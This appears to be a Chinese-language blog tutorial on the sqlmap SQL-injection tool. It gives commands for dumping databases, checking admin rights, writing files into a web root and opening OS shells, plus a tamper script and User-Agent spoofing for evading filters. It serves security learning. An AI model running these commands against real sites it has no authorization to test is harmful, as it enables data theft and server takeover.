Web攻防06_sqlmap的使用

文章目录

      • 参考链接:
  • SQLMAP简介
      • 支持五种不同的注入模式
  • 数据猜解-库表列数据
  • 权限操作
      • 引出权限:
      • 引出文件:
      • 引出命令(执行命令):
  • 提交方法-POST&HEAD&JSON
      • Post注入
      • cookie注入
      • 注入请求头中(数据包注入,推荐):
  • 绕过模块-Tamper脚本-使用&开发
      • Tamper使用
      • Tamper编写
  • 分析拓展-代理&调试&指纹&风险&等级
      • 后期分析调试:
      • 打乱默认指纹:
      • 使用更多的测试:测试Header注入
      • 使用代理

Web攻防06_sqlmap的使用_第1张图片

参考链接:

https://blog.csdn.net/Goodric/article/details/115875009

https://www.cnblogs.com/bmjoker/p/9326258.html

SQLMAP简介

sqlmap 是一个开源渗透测试工具,可以自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。

注入测试方面有一个sqlmap就足够了,支持多种常用数据库注入。

支持五种不同的注入模式

  • 基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。

  • 基于时间的盲注。不能工具页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否被执行来判断。

  • 基于报错注入。页面会返回错误信息,或者把注入的语句结果直接返回到页面中。

  • 联合查询注入。可以使用 union 的情况下的注入。

  • 堆查询注入。可以执行多条语句时的注入。

数据猜解-库表列数据

数据猜解是用字典去猜的,使用的是data/txt中默认的字典进行猜解的,也可以自行添加字典。

测试:http://vulnweb.com/

-u “” 判断是否存在注入点

–current-db 获取当前数据库名

–tables -D “” 获取表

–columns -T “” -D “” 获取列

–dump -C “” -T “” -D “” 获取数据

-D 指定库名

-T 指定表名

-C 指定列名

python sqlmap.py --current-db  // 获取当前数据库名

python sqlmap.py -u "地址" --tables -D "数据库名"  //获取表名,ACCESS数据库的话没有数据库,直接是表,MySQL的话有多个数据库,若不写库名,则会获取所有数据库的表信息


python sqlmap.py -u "地址" --columns -T "表名" -D "数据库名" //获取该表名下的列名

python sqlmap.py -u "地址" --dump -C "列名" -T "表名" -D "数据库名"   //获取数据, -C列名 -T表名

注入完成会将结果保存在C盘文件中。

–dbs #列出所有数据库

权限操作

测试:MYSQL高权限注入

引出权限:

判断站点是否为高权限。

--is-dba	#是否是管理员

--privileges	#查看权限

--current-user	#查看当前用户

更推荐--is-dba,因为--privileges查看的不一定准确

--is-dba也不一定准确,综合分析。

引出文件:

--file-read 	#文件读取

--file-write	#文件写入

 --file-dest 	#要写入的文件绝对路径
 
 # 例子:
--file-write /test/test.txt --file-dest /var/www/html/1.txt;
将本地的test.txt文件写入到目标的1.txt

引出命令(执行命令):

--os-cmd=		# 执行系统命令

--os-shell		#系统交互shell

--sql-shell		#执行指定sql命令 

文件读写和执行命令都是建立在管理员权限的情况下,这些情况都是可以直接拿到网站权限的,就不需要进行数据猜解等测试方法了。

提交方法-POST&HEAD&JSON

测试:Post Cookie Json

Post注入

–data “post提交的数据” # 设置为post检测注入

python sqlmap.py -u "地址" --data "username=test&pass=test"

cookie注入

–cookie “”

注入请求头中(数据包注入,推荐):

把整个数据包保存文件在sqlmap目录下txt文件,在文件中使用*标记注入点,不标记则会全试,很慢。

-r 1.txt

python sqlmap.py -u "地址" -r 1.txt

有个网站,只能用手机访问,该网站有个注入点

如果不是通过抓包得到的请求的注入点数据包去注入,发送请求的话,

sqlmap就采用自己的请求头去访问进行注入测试,就有可能会访问不到,被拒绝。即无法测试

绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入

Tamper使用

--tamper=脚本模块名称
如:
--tamper=base64encode.py
--tamper=test.py

脚本文件存放于sqlmap目录下的tamper目录中。

Tamper编写

在如下脚本模板中的if payload:中编写替换规则,使用payload.replace('替换前','替换内容')进行替换即可。

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():

    pass

def tamper(payload, **kwargs):

    if payload:      
   	 	payload = payload.replace('SELECT','sElEct') # 编写替换规则
    	payload = payload.replace('OR','Or')
    	payload = payload.replace('AND','And')
    	payload = payload.replace('SLEEP','SleeP')
    	payload = payload.replace('ELT','Elt')

    return payload

重点在于研究出绕过的方法,当知道绕过的方法,脚本编写很简单

分析拓展-代理&调试&指纹&风险&等级

后期分析调试:

-v=(0-6)  #详细的等级(0-6)

显示详细的注入内容,等级越高,显示的内容越多越详细

通过调试信息分析为什么不能注入,是不能注入,绕过失败,还是自己写的tamper模块没有生效

打乱默认指纹:

--user-agent ""  #自定义user-agent

sqlmap的固有流量特征:User-Agent:sqlmap/1.7.5.4#

--random-agent  #随机user-agent

--time-sec=(2,5) #延迟响应,默认为5

网站请求过快会屏蔽,使用延迟可解决

使用更多的测试:测试Header注入

--level=(1-5) #要执行的测试水平等级,默认为1 

--risk=(0-3)  #测试执行的风险等级,默认为1 

相当于测试的深度,等级越高,测试的情况和方法更多

使用代理

--proxy "http://xx:xx" #代理地址,代理注入

和burpsuite联动,便于分析注入的情况,为什么不能注入,注入数据包的查看分析

代理池:直接将买的代理池地址放里面就好

你可能感兴趣的:(安全学习-Web攻防,mysql,安全,学习,sql)